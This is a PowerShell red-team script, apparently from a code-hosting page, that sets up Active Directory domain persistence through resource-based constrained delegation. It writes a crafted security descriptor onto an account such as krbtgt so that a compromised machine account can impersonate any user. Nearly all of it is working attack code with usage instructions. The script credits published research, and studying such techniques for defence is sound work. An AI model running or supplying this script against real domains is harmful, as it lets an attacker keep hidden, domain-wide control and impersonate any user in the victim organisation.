54 lines
2.1 KiB
PowerShell
54 lines
2.1 KiB
PowerShell
#
|
|
# Unconstrained Domain Persistence helper
|
|
#
|
|
# Usage:
|
|
# PS> . .\Set-PrincipalAllowedToDelegateToAccount.ps1
|
|
# PS> Set-PrincipalAllowedToDelegateToAccount -TargetUser krbtgt -DelegateFrom COMPROMISED$
|
|
#
|
|
# Will allow for COMPROMISED$ account to perform S4U2 constrained delegation by the use
|
|
# of Resource-Based Constrained Delegation flavour attack. This account must have any SPN set first.
|
|
#
|
|
# Script for setting "msDS-AllowedToActOnBehalfOfOtherIdentity" property on the user's object,
|
|
# allowing incoming trust to the previously compromised Machine object, as described
|
|
# by Elad Shamir in his: https://shenaniganslabs.io/2019/01/28/Wagging-the-Dog.html#unconstrained-domain-persistence
|
|
#
|
|
# It does the same as the following commands:
|
|
# PS> Import-Module ActiveDirectory
|
|
# PS> Set-ADUser krbtgt -PrincipalAllowedToDelegateToAccount COMPROMISED$
|
|
#
|
|
# This script requires PowerView to be loaded first.
|
|
#
|
|
# This is basically rewritten script from Harmj0y's blog post here:
|
|
# https://www.harmj0y.net/blog/redteaming/another-word-on-delegation/
|
|
# all credits goes to magnificent Harmj0y!
|
|
#
|
|
|
|
function Set-PrincipalAllowedToDelegateToAccount
|
|
{
|
|
Param
|
|
(
|
|
[Parameter(Position = 0)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$TargetUser,
|
|
|
|
[Parameter(Position = 1)]
|
|
[ValidateNotNullOrEmpty()]
|
|
[String]
|
|
$DelegateFrom
|
|
)
|
|
|
|
# translate the identity to a security identifier
|
|
$IdentitySID = ((New-Object -TypeName System.Security.Principal.NTAccount -ArgumentList $DelegateFrom).Translate([System.Security.Principal.SecurityIdentifier])).Value
|
|
|
|
# Substitute the security identifier into the raw SDDL
|
|
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($IdentitySID))"
|
|
|
|
# get the binary bytes for the SDDL
|
|
$SDBytes = New-Object byte[] ($SD.BinaryLength)
|
|
$SD.GetBinaryForm($SDBytes, 0)
|
|
|
|
# set new security descriptor for 'msds-allowedtoactonbehalfofotheridentity'
|
|
Get-DomainUser $TargetUser | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose
|
|
}
|